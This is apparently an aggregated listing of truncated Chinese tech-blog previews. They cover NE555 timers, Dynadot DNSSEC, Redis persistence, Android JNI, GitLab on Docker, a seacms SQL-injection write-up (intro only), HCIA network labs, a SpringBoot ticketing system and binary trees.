前言 NE555是一个纯硬件的设计&#xff0c;旦硬件电路确定了&#xff0c;其功能也确定了&#xff0c;没有可编程的部分&#xff0c;也没什么好去理解的地方&#xff0c;如果理解不了就直接背代码&#xff0c;这里也不是很常考&#xff0c;大家了解一下就可以了&#xff0c;知道…

使用API有效率地管理Dynadot域名,为域名部署DNS安全拓展(DNSSEC)

关于Dynadot Dynadot是通过ICANN认证的域名注册商&#xff0c;自2002年成立以来&#xff0c;服务于全球108个国家和地区的客户&#xff0c;为数以万计的客户提供简洁&#xff0c;优惠&#xff0c;安全的域名注册以及管理服务。 Dynadot平台操作教程索引&#xff08;包括域名邮…

一文讲解Redis中的混合持久化

一文讲解Redis中的混合持久化 在 Redis 中&#xff0c;RDB 持久化是通过创建数据的快照来保存数据的&#xff0c;而 AOF 持久化则是通过记录每个写入命令来保存数据的。 两种方式各有优缺点。RDB 持久化的优点是恢复大数据集的速度比较快&#xff0c;但是可能会丢失最后一次快…

Android JNI的理解与使用。

写在前面&#xff1a;Java相对于C/C来说是更高级的语言&#xff0c;隐藏了指针&#xff0c;可读性更高&#xff0c;更容易学习&#xff0c;但是无法直接操作硬件、运行速度较慢也是不可回避的硬伤。JNI就是Java官方定义的一套标准“接口”&#xff0c;用于Java和C/C之间互相调用…

使用Docker Desktop部署GitLab

1. 环境准备 确保Windows 10/11系统支持虚拟化技术&#xff08;需在BIOS中开启Intel VT-x/AMD-V&#xff09;内存建议≥8GB&#xff0c;存储空间≥100GB 2. 安装Docker Desktop 访问Docker官网下载安装包安装时勾选"Use WSL 2 instead of Hyper-V"&#xff08;推荐…

seacmsv9 SQL注入漏洞(报错注入)

一、海洋CMS简介 海洋cms是为解决站长核心需求而设计的视频内容管理系统&#xff0c;一套程序自适应电脑、手机、平板、APP多个终端入口&#xff0c;无任何加密代码、安全有保障&#xff0c;是您最佳的建站工具。——来自seacms官网&#xff08;简而言之就是专门搭建看片网站的…

网络运维学习笔记 017HCIA-Datacom综合实验01

文章目录 综合实验1实验需求总部特性 分支8分支9 配置一、 基本配置&#xff08;IP二层VLAN链路聚合&#xff09;ACC_SWSW-S1SW-S2SW-Ser1SW-CoreSW8SW9DHCPISPGW 二、 单臂路由GW 三、 vlanifSW8SW9 四、 OSPFSW8SW9GW 五、 DHCPDHCPGW 六、 NAT缺省路由GW 七、 HTTPGW 综合实…

基于Java+SpringBoot+Vue的前后端分离的火车订票管理系统

基于JavaSpringBootVue的前后端分离的火车订票管理系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末附源码下载链接&…

Java数据结构第十二期:走进二叉树的奇妙世界(一)

专栏&#xff1a;数据结构(Java版) 个人主页&#xff1a;手握风云 目录 一、树型结构 1.1. 树的定义 1.2. 树的基本概念 1.3. 树的表示形式 二、二叉树 2.1. 概念 2.2. 两种特殊的二叉树 2.3. 二叉树的性质 2.4. 二叉树的存储 三、二叉树的基本操作 一、树型结构 1.…